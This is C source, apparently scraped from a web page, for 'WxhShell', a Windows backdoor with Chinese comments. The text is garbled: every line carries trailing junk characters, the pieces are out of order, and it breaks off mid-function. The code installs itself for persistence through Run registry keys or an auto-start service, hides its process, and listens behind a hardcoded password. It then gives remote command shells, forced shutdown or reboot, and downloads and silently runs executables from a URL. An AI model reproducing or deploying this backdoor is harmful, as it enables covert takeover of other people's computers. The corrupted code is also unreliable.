    closesocket(wsh); Ax4;[K\Q  
    ExitThread(0); `y1,VY  
    } @d ^MaXp_P  
    break; x ;]em9b  
    } E_xk8X~  
  // 关机 %!L*ec%,  
  case 'd': { OJ7y  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?xE'i[F @  
    if(Boot(SHUTDOWN)) GlT/JZ9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S2=x,c$  
    else { <1U *{y  
    closesocket(wsh); Hxj8cX UF|  
    ExitThread(0); /\pUA!G)BD  
    } )VG_Y9;Xk:  
    break; H .sfM   
    } hSk  
  // 获取shell S~y.>X3"P  
  case 's': { z+?48 }  
    CmdShell(wsh); i_$?sg#=yk  
    closesocket(wsh); 2bpFQ8q  
    ExitThread(0); uVw|jj  
    break; S.owVMQ  
  } <FvljKuq+  
  // 退出 0B5d$0  
  case 'x': { t\ 9Y)d  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); }sfv zw_  
    CloseIt(wsh); M !rw!,g  
    break; gf,[GbZ  
    } ZZ].h2= K  
  // 离开 d5=yAn-+=  
  case 'q': { 6 c-9[-Px  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); * x.gPG  
    closesocket(wsh); :XO7#P  
    WSACleanup(); c{/KkmI  
    exit(1); ;:Y/"5h  
    break; :*Z@UY   
        } NB&zBJ#  
  } T"Nnl(cO_  
  } y)`q% J&  
Wp= &nh  
  // 提示信息 XP@&I[J3sI  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .@Jos^rxgJ  
} Dr#V^"Dte  
  } ,j[1!*Z_[  
`$r?^|T  
  return; ,Q8h#0z r  
} /^ [K  
fR lJ`\ t  
// shell模块句柄 i,$n4  
int CmdShell(SOCKET sock) /oU$TaB>(  
{ *zDL 5 9  
STARTUPINFO si; JjQTD-^  
ZeroMemory(&si,sizeof(si)); M`@Es#s  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; V8z*mnD  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {?uswbk.  
PROCESS_INFORMATION ProcessInfo; ^}hSsE  
char cmdline[]="cmd"; x1QL!MB  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Dzw>[   
  return 0; ?D=%k8)Y  
} n,|YJ,v[  
/_/Z/D!  
// 自身启动模式 Hd~fSXFl  
int StartFromService(void) <V4"+5cJ8  
{ ^|%7}=e  
typedef struct ?*U:=|  
{ rj;~SC{  
  DWORD ExitStatus; .J9\Fr@  
  DWORD PebBaseAddress; 8"x\kSMb  
  DWORD AffinityMask; h,2?+}Fn  
  DWORD BasePriority; 1.z !u%2  
  ULONG UniqueProcessId; 4' <y  
  ULONG InheritedFromUniqueProcessId; d/Fy0=0  
}   PROCESS_BASIC_INFORMATION; )$E'2|Gm/  
xh!aB6m8R  
PROCNTQSIP NtQueryInformationProcess; L(kW]  
cN#f$  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9B1bq#  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [AAIBb +U  
@S  Quc  
  HANDLE             hProcess; 2v1dSdX,W  
  PROCESS_BASIC_INFORMATION pbi; 6Nz S<  
#4?:4Im#  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); U{-[lpd  
  if(NULL == hInst ) return 0; c}#(,<8X  
@-}!o&G0  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ig:z[k?  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); \&%y4=y<sE  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); v!rOT/I  
H?dEgubg7]  
  if (!NtQueryInformationProcess) return 0; o(Ro/U(Wu  
Sy34doAZ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [E/^bM+  
  if(!hProcess) return 0; F#\+.inO  
 B*Q  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \AB*C_Ri  
;Q%3WD  
  CloseHandle(hProcess); +P"u1q*+p  
R2nDK7j  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); uWerC?da  
if(hProcess==NULL) return 0; ,koG*sn  
l`RFi)u~&  
HMODULE hMod; :<E\&6# oC  
char procName[255]; ZUeA&&{  
unsigned long cbNeeded; y O?52YO  
Zq"wq[GCN  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 15`,kJSK  
}zV#?;}  
  CloseHandle(hProcess); 3})0p  
:Nw7!fd  
if(strstr(procName,"services")) return 1; // 以服务启动 \b|Q`)TK  
|0a GX]Y  
  return 0; // 注册表启动 38(|a5  
} :vy./83W  
oJ)v6"j  
// 主模块 rZ7)sE5L  
int StartWxhshell(LPSTR lpCmdLine) ?anKSGfj  
{ ),+u>Os&  
  SOCKET wsl; I'16-  
BOOL val=TRUE; H.: [# a  
  int port=0; m3iB`  
  struct sockaddr_in door; {Ng HH]]O  
X+k`UM~  
  if(wscfg.ws_autoins) Install(); s2\6\8Ipn  
H3" D$Nv  
port=atoi(lpCmdLine); t%>x}b"2T  
$^"_Fox]A\  
if(port<=0) port=wscfg.ws_port; dq$C COC^F  
&T/}|3S  
  WSADATA data; HA%r:Px  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; xDBHnr}[  
b'~IFNt*^  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   (L6*#!Dt  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <S%kwS  
  door.sin_family = AF_INET; @IwVR  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); QG=&{-I~[3  
  door.sin_port = htons(port); ; +E@h=?  
U?Icyn3q0  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { HFd>UdT%  
closesocket(wsl); vxC,8Z  
return 1; auT$-Ki8  
} K=C).5=U  
z@S39Xp==  
  if(listen(wsl,2) == INVALID_SOCKET) { j{a3AEmps  
closesocket(wsl); iVGc\6+'  
return 1; k/ ZuFTN  
} 9d!}]+"d42  
  Wxhshell(wsl); #T8$NZA  
  WSACleanup(); 4$!iw3N(  
ec` $2u  
return 0; tpi>$:e  
zE NlL  
} (" >gLr  
"ZyWU f  
// 以NT服务方式启动 ~.wDb,*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Y4|g^>{<ni  
{ qP0_#l&  
DWORD   status = 0; j?n:"@!G/  
  DWORD   specificError = 0xfffffff; ,o)U9 <  
Q-GnNT7MB3  
  serviceStatus.dwServiceType     = SERVICE_WIN32; b,#E.%SLw  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; N~An}QX|  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; A?xb u*zV,  
  serviceStatus.dwWin32ExitCode     = 0; `FM^)(wT  
  serviceStatus.dwServiceSpecificExitCode = 0; A{Q:,S)  
  serviceStatus.dwCheckPoint       = 0; /y"Y o  
  serviceStatus.dwWaitHint       = 0; ihJC)m`Hbl  
y 3O Nn~k  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); #dgWXO  
  if (hServiceStatusHandle==0) return; D%Y{(l+X  
j\SW~}d9  
status = GetLastError(); cAE.I$T(  
  if (status!=NO_ERROR) Y)I8(g}0  
{ qm)KO 4  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; vYNh0)$%F  
    serviceStatus.dwCheckPoint       = 0; J12 ZdC'O  
    serviceStatus.dwWaitHint       = 0; #}A >B  
    serviceStatus.dwWin32ExitCode     = status; ep<2u x  
    serviceStatus.dwServiceSpecificExitCode = specificError; 97um7n  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4;ig5'U,  
    return; zSi SZMP"  
  } Y Hv85y  
q(yw,]h]{  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; zoV-@<Eh  
  serviceStatus.dwCheckPoint       = 0; L. xzI-I@D  
  serviceStatus.dwWaitHint       = 0; SAEr$F^  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); &n:F])`2  
} yv<0fQ  
 o2ndnIL  
// 处理NT服务事件,比如:启动、停止  -'|pt,)  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Vhww-A  
{ 5)yQrS !{:  
switch(fdwControl) sQS2U6  
{ ~4mgYzOmD`  
case SERVICE_CONTROL_STOP: .#;;pu7W  
  serviceStatus.dwWin32ExitCode = 0; fx QN  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ?7cF_Zvve  
  serviceStatus.dwCheckPoint   = 0; M9@#W"  
  serviceStatus.dwWaitHint     = 0; }>:x  
  { nD+vMG1~w  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^J>jU`)CJ  
  } 6#k Ap+g7  
  return; 4565U  
case SERVICE_CONTROL_PAUSE: swVq%]')"  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 96Tc:#9i  
  break; Dc[Qu? ]LM  
case SERVICE_CONTROL_CONTINUE: mdOF0b%-]  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 'H`_Z e<  
  break; B*owV%  
case SERVICE_CONTROL_INTERROGATE: y\Z-x  
  break; 8fdK|l w  
}; F~ n}Ep~1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }q(IKH\&  
} AX%9k  
+6!.)Ea=  
// 标准应用程序主函数 $s hlNW\  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 5CkM0G`  
{ )^^r\  
|Js96>B:  
// 获取操作系统版本 {cv,Tz[Q>  
OsIsNt=GetOsVer(); ~}mX#,  
GetModuleFileName(NULL,ExeFile,MAX_PATH); sDCa&"6+@  
t?v0ylN  
  // 从命令行安装 (*%+!PS  
  if(strpbrk(lpCmdLine,"iI")) Install(); u+zq:2)H6  
HPT9B?^  
  // 下载执行文件 }b YiyG\  
if(wscfg.ws_downexe) { KW.S)+<H&  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) s&lZxnIjc  
  WinExec(wscfg.ws_filenam,SW_HIDE); P$@5&/]  
} UG+wRX :dA  
q5[%B K  
if(!OsIsNt) { d `Q$URn|  
// 如果时win9x,隐藏进程并且设置为注册表启动 Lvc*L6  
HideProc(); 0=s+bo1  
StartWxhshell(lpCmdLine); z1LATy  
} cJm!3X  
else eR8qO"%2:  
  if(StartFromService()) ;sa-Bh=j^  
  // 以服务方式启动 (G"b)"Qum  
  StartServiceCtrlDispatcher(DispatchTable); T.HI $(d  
else EPr{1Z  
  // 普通方式启动 U$pHfNTH  
  StartWxhshell(lpCmdLine); awXL}m[_!  
{P(Z{9u%  
return 0; -?!Z/#i4  
} /+J?Ep(_  
F#iLMO&Q  
b9OT~i=S|  
y6; '?.Y1  
=========================================== g B<p  
Gn;eh~uw;l  
+ &b`QcH<  
`ivr$b#  
m7e$ Z  
d<qbUk3;  
" "aP>}5<h  
E+"INX7  
#include <stdio.h> tGd9Cs9D<  
#include <string.h> .dp~%!"Sn,  
#include <windows.h> x-Z`^O  
#include <winsock2.h> :%A1k2  
#include <winsvc.h> C|W_j&S65  
#include <urlmon.h> X?Omk, '  
FWdSpaas Q  
#pragma comment (lib, "Ws2_32.lib") >9=Y(`  
#pragma comment (lib, "urlmon.lib") _hMVv&$  
H U$:x"AW  
#define MAX_USER   100 // 最大客户端连接数 t_,iV9NrZ  
#define BUF_SOCK   200 // sock buffer ^C):yxN P  
#define KEY_BUFF   255 // 输入 buffer q`}Q[Li  
f<WnPoV  
#define REBOOT     0   // 重启 OV>T}Fq  
#define SHUTDOWN   1   // 关机 VPn #O  
K~@-*8%  
#define DEF_PORT   5000 // 监听端口 X&M4 c5Li  
=YZp,{T  
#define REG_LEN     16   // 注册表键长度 Sd^e!? bp  
#define SVC_LEN     80   // NT服务名长度 ,h5.Si>  
Roy`HU ;0a  
// 从dll定义API rQ*'2Zf'<  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ui70|  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); nUhD41GJ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); YT, 1E>rd  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >H5BY9]I  
v>)[NAY9  
// wxhshell配置信息 +tkd($//  
struct WSCFG { m3 (fr  
  int ws_port;         // 监听端口 .K}u`v T  
  char ws_passstr[REG_LEN]; // 口令 R.|fc5_"+  
  int ws_autoins;       // 安装标记, 1=yes 0=no g;v{JB  
  char ws_regname[REG_LEN]; // 注册表键名 DD|%F  
  char ws_svcname[REG_LEN]; // 服务名 \(Zdd \,  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Si*Pi  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 4m#i4  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 < 5[wP)K@  
int ws_downexe;       // 下载执行标记, 1=yes 0=no =[t([DG  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" )Ah  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 :'Imz   
lEZ[0oa  
}; RURO0`^  
P!B\:B%4~]  
// default Wxhshell configuration 5:CC\!&QBV  
struct WSCFG wscfg={DEF_PORT, z=>]E 1'RL  
    "xuhuanlingzhe", ):LJ {.0R  
    1, IDE@{Dy  
    "Wxhshell", #B`"B  
    "Wxhshell", ?*,N ?s(U  
            "WxhShell Service", AUS?P t[w  
    "Wrsky Windows CmdShell Service", N.xmHvPk  
    "Please Input Your Password: ",  wx o(  
  1, w:'$Uf8]  
  "http://www.wrsky.com/wxhshell.exe", 0gO2^m)W  
  "Wxhshell.exe" kZ`60X%wE  
    }; b |m$ W  
8DLR  
// 消息定义模块  U@m<  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \~jt7 Q  
char *msg_ws_prompt="\n\r? for help\n\r#>"; v]U[7 j  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Sqc*u&W  
char *msg_ws_ext="\n\rExit."; Kj}hb)HU  
char *msg_ws_end="\n\rQuit."; (sJ{27b_  
char *msg_ws_boot="\n\rReboot..."; z~o%U&DO}  
char *msg_ws_poff="\n\rShutdown..."; AZl|; y  
char *msg_ws_down="\n\rSave to "; %Dsa ~{  
V}pw ,2s  
char *msg_ws_err="\n\rErr!"; N1P [&lR  
char *msg_ws_ok="\n\rOK!"; k@4]s_2  
`x6 i5mp  
char ExeFile[MAX_PATH]; a2Q9tt>Q  
int nUser = 0; '9<Mk-Aj  
HANDLE handles[MAX_USER]; Ez<J+#)t  
int OsIsNt; ^"6xE nA]  
'n!;7*  
SERVICE_STATUS       serviceStatus; U G^6I5  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; YIgzFt[L  
] =>vv;L  
// 函数声明 ;?zb (2  
int Install(void);  >?U (w<  
int Uninstall(void); C"IPCJYn  
int DownloadFile(char *sURL, SOCKET wsh); 0~Yg={IKhK  
int Boot(int flag); bi KpV? Dp  
void HideProc(void); ?PyI#G   
int GetOsVer(void); /o8`I m   
int Wxhshell(SOCKET wsl); [^ 7^&/0  
void TalkWithClient(void *cs); <&l3bL  
int CmdShell(SOCKET sock); A8c'CMEm  
int StartFromService(void); 4X#>;  
int StartWxhshell(LPSTR lpCmdLine); Pm+H!x,  
JsfbY^wz  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); H -.3r  
VOID WINAPI NTServiceHandler( DWORD fdwControl );  A3'i -  
K{M_ 4'\  
// 数据结构和表定义 @] )a  
SERVICE_TABLE_ENTRY DispatchTable[] = "-v9V7KCM  
{ g"# R>&P  
{wscfg.ws_svcname, NTServiceMain}, $vGl Z<3g  
{NULL, NULL} #MGZje,I  
}; vuDp_p*]S  
JguE#ob2  
// 自我安装 IO^O9IEx,  
int Install(void) JO+ hD4L  
{ fcJ#\-+E  
  char svExeFile[MAX_PATH]; `'Z ;+h]  
  HKEY key; Qkr'C n  
  strcpy(svExeFile,ExeFile); rU.ew~  
zFB$^)v"<  
// 如果是win9x系统,修改注册表设为自启动 z<^HohT  
if(!OsIsNt) { tBrd+}e2*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { js8uvZ i  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); VD36ce9  
  RegCloseKey(key); _e~EQ[,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <0R?#^XBZB  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); u^ngD64  
  RegCloseKey(key); : ]CZS  
  return 0; Xg,E;LSF8  
    } [.Kia >  
  } iOki ZN+d>  
} QdC>fy  
else { ]0m4esK`  
VCbnS191*  
// 如果是NT以上系统,安装为系统服务 OWOj|jM  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); G;fP  
if (schSCManager!=0) ix7N q7!N  
{ &)xoR4!2  
  SC_HANDLE schService = CreateService bmt2~!  
  ( ub,Sj{Mq"  
  schSCManager, wG^{Jf&@$  
  wscfg.ws_svcname, 5"XcVH4g  
  wscfg.ws_svcdisp, V)N9V|O'  
  SERVICE_ALL_ACCESS, IWm|6@y  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , aeH 9:GQ6  
  SERVICE_AUTO_START, 7|,5;  
  SERVICE_ERROR_NORMAL, !R)v2Mk|  
  svExeFile, '7xmj:.==  
  NULL, U6.$F#n  
  NULL, dx Mz!  
  NULL, ~73YOGiGJH  
  NULL, K +w3YA  
  NULL g&BF#)7C  
  ); Fm [,u  
  if (schService!=0) uERc\TZ  
  { ]dk~C?H  
  CloseServiceHandle(schService); lW^RwNcd  
  CloseServiceHandle(schSCManager); S1&6P)X.Za  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 1S.nqOfx  
  strcat(svExeFile,wscfg.ws_svcname); $stJ+uh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { J tYnBg?[E  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); #@y4/JS&2  
  RegCloseKey(key); 6"jq/Pu  
  return 0; ~Qzm!Po,  
    } 'Ur$jW  
  } )W*S6}A  
  CloseServiceHandle(schSCManager); 8#7z5:_  
} f>p;Jh{2fn  
} =P0~=UP  
bh uA,}  
return 1; J,+| Fb  
} ||qsoF5B]  
sEhdkN}6  
// 自我卸载 A5?[j QT0  
int Uninstall(void) nW{7L  
{ GW` 9SB  
  HKEY key; p1G!-\l  
Mg^GN -l  
if(!OsIsNt) { NbG3^(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { V/762&2X  
  RegDeleteValue(key,wscfg.ws_regname); \'E%ue_<9  
  RegCloseKey(key); /0"Y. @L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /o8h1L=  
  RegDeleteValue(key,wscfg.ws_regname); #p=/P{*  
  RegCloseKey(key); %Vive2j C  
  return 0; %3z-^#B=  
  } zy+|)^E  
} /pX\)wi  
} e:!&y\'"9  
else { t55 '  
LA"`8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Bv!j.$0d{  
if (schSCManager!=0) /Pi{Mv eZM  
{ (B,CL222x  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); hua{g_  
  if (schService!=0) ;'R{b$B;|  
  { u]"oGJj1  
  if(DeleteService(schService)!=0) { FS`{3d2K +  
  CloseServiceHandle(schService); PN0:,.4  
  CloseServiceHandle(schSCManager); ic?6p  
  return 0; ETjlq]@j  
  } vxZz9+UbF  
  CloseServiceHandle(schService); 2hmV 1gj  
  } "{L%5:H@  
  CloseServiceHandle(schSCManager); AP/5, M<  
} \gj@O5rGP  
} }2V|B4  
3x 'BMAA+  
return 1; *Swb40L^  
} b/5;377_  
/-G;#Wm  
// 从指定url下载文件 ~G5)ya-  
int DownloadFile(char *sURL, SOCKET wsh) <\2,7K{{+;  
{ j"J2&Y2  
  HRESULT hr; M<g>z6   
char seps[]= "/"; LuR.;TiW  
char *token; 9$ UjZ$ v  
char *file; (K^9$w]tf  
char myURL[MAX_PATH]; VEo>uR  
char myFILE[MAX_PATH]; R}>Gk  
BE}lzn=sF  
strcpy(myURL,sURL); uK}k]x\z  
  token=strtok(myURL,seps); duT2:~H2  
  while(token!=NULL) ihf5`mk/$  
  { 0=L:8&m  
    file=token; l"b78n  
  token=strtok(NULL,seps); IqcPml{\  
  } CKNH/[ ZR,  
l)=Rj`M  
GetCurrentDirectory(MAX_PATH,myFILE); jo{GPp}  
strcat(myFILE, "\\"); RK"dPr  
strcat(myFILE, file); pmIQD"  
  send(wsh,myFILE,strlen(myFILE),0); FeLWQn/aV6  
send(wsh,"...",3,0); 9(ANhG  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); _%z)Y=Q  
  if(hr==S_OK) wgzjuTqwBF  
return 0; 73 D|gF*  
else QjF.U8  
return 1; OHM.xw*?.  
&{/ `Q ,  
} p>|;fS\`@}  
B.0(}@  
// 系统电源模块 yxLGseD  
int Boot(int flag) KzI$GU3  
{ )bw^!w)  
  HANDLE hToken; q ( H^H  
  TOKEN_PRIVILEGES tkp; 9'td}S  
&hyr""NkAm  
  if(OsIsNt) { Y -o*d@  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); m:II<tv  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 5JIa?i>B  
    tkp.PrivilegeCount = 1; pbR84g^p.S  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $PHKI B(  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Y@_ i32,r  
if(flag==REBOOT) { [1 w  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) YeYFPi#  
  return 0; h*h+VM  
} byyz\>yAVq  
else { FyQ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) iV(B0z  
  return 0; Qh%7RGh_  
} ?fCLiK  
  } l J;wl|9  
  else { L7%Dc2{^(  
if(flag==REBOOT) { 6>SP5|GG  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) V ,*YM   
  return 0; DJ[U^dWRn  
} }bAd@a9>3  
else { vC&y:XMt,`  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) YJ. 'Yc  
  return 0; r >u0Y  
} -"<H$  
} ATk>:^n  
`c(,_o a{  
return 1; .e"De-u  
} b4S7 Q"g  
`f8{ ^Rau  
// win9x进程隐藏模块 v3Te+oLg  
void HideProc(void) X./8 PK?&  
{ % 7/XZQ  
-`&4>\o2Lx  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ZQsE07  
  if ( hKernel != NULL ) xHZx5GJp9  
  { S-Ryt>G  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); vn6/H8  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 5i83(>p3]e  
    FreeLibrary(hKernel); Ga+\b>C  
  } fw|r{#d  
XDz![s  
return; TM[Z~n(wt  
} Ep.,2H  
#xm<|s   
// 获取操作系统版本 O]4!U#A  
int GetOsVer(void) 9IN =m 5  
{  ^qy$M>  
  OSVERSIONINFO winfo; n|yl3v  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 1Jd82N\'  
  GetVersionEx(&winfo);  Pb+oV  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) "7l p|0I  
  return 1; q'hMf?_  
  else  &5O  
  return 0; hy3[MOD$G  
} Lk4&&5q  
rcOpOoU|  
// 客户端句柄模块 eP(%+[g  
int Wxhshell(SOCKET wsl) 'g|%Ro/  
{ gE`G3kgn{  
  SOCKET wsh; }8fxCW*|  
  struct sockaddr_in client; N@58R9P<p  
  DWORD myID; 3!Rb {  
Xi4!7IOm o  
  while(nUser<MAX_USER) f?2Y np=@  
{ s~IOc%3  
  int nSize=sizeof(client); N 2L/A  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); `P)1RTVx  
  if(wsh==INVALID_SOCKET) return 1; j<R,}nmD3\  
va95/(  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %R7Q`!@8  
if(handles[nUser]==0) b+[9) B)a?  
  closesocket(wsh); />FrMz8;(  
else >O9j},X  
  nUser++; jf$6{zO6j  
  } X>wB=z5PXK  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !5? #^q  
OMvwmm  
  return 0; agM.-MK  
} slOki|p;  
1AjsAi,7;2  
// 关闭 socket l:z :tJ#(  
void CloseIt(SOCKET wsh) UH%oGp$ykX  
{ F,11 \j  
closesocket(wsh); tURIDj%#p  
nUser--; dV<M$+;s]  
ExitThread(0); InH R> ,  
} cx_[Y  
-l`@pklQ  
// 客户端请求句柄 )>\J~{  
void TalkWithClient(void *cs) &Sa<&2W4S  
{ \Y Cj/tG8  
zb?wl fT  
  SOCKET wsh=(SOCKET)cs; I{_St8  
  char pwd[SVC_LEN]; PxfeU2^{0  
  char cmd[KEY_BUFF]; SL hki)|  
char chr[1]; y$r9Y!?s  
int i,j; U^+9l?ol  
?" {+m  
  while (nUser < MAX_USER) { !6@xX08z  
h$f/NSct2  
if(wscfg.ws_passstr) { Mpk^e_9`<  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); wf=#w}f  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6mep|![6  
  //ZeroMemory(pwd,KEY_BUFF); bhOyx  
      i=0; 5y(irbk7  
  while(i<SVC_LEN) { YRG+I GX  
::j'+_9  
  // 设置超时 bsuUl*l)  
  fd_set FdRead; b v\V>s  
  struct timeval TimeOut; xGk@BA=0<  
  FD_ZERO(&FdRead); n{r+t=X  
  FD_SET(wsh,&FdRead); %,K|v  
  TimeOut.tv_sec=8; V~Tjz%<  
  TimeOut.tv_usec=0; >-s}1*^=oD  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); dsR{ P,!  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); H'q&1^w)  
Dr6Br<yi  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6x]|IWvW  
  pwd=chr[0]; ?uU0NKZA  
  if(chr[0]==0xd || chr[0]==0xa) { \S=!la_T@m  
  pwd=0; 9(ZzwkD'>  
  break; htX'bA  
  } 7v?tSob:b  
  i++; S82NU2L  
    } hX`WVVoF  
fX[,yc;  
  // 如果是非法用户,关闭 socket ,RCjfX a  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \$?[>=<wB  
} }sPY+ZjV  
:`:<JA3,  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @!0j)5%  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >h[tHM O  
7/PHg)&  
while(1) { a}i{b2B  
w?jmi~6  
  ZeroMemory(cmd,KEY_BUFF);  7z<!2  
/nv1 .c)k  
      // 自动支持客户端 telnet标准   reu[}k~  
  j=0; IH\k_Yf#u  
  while(j<KEY_BUFF) { iBp 71x65  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )P|%=laE8  
  cmd[j]=chr[0]; >z>UtT:  
  if(chr[0]==0xa || chr[0]==0xd) { Mky$#SI11  
  cmd[j]=0; ;f= :~go  
  break; "'t<R}t!A  
  } p\+#`] Q7}  
  j++; /D1Bf:'(  
    } gW/H#T,  
7 aDI6G  
  // 下载文件 S~(4q#Dt-  
  if(strstr(cmd,"http://")) { &U4]hawbOU  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^}/YGAA  
  if(DownloadFile(cmd,wsh)) 5\R8>G~H  
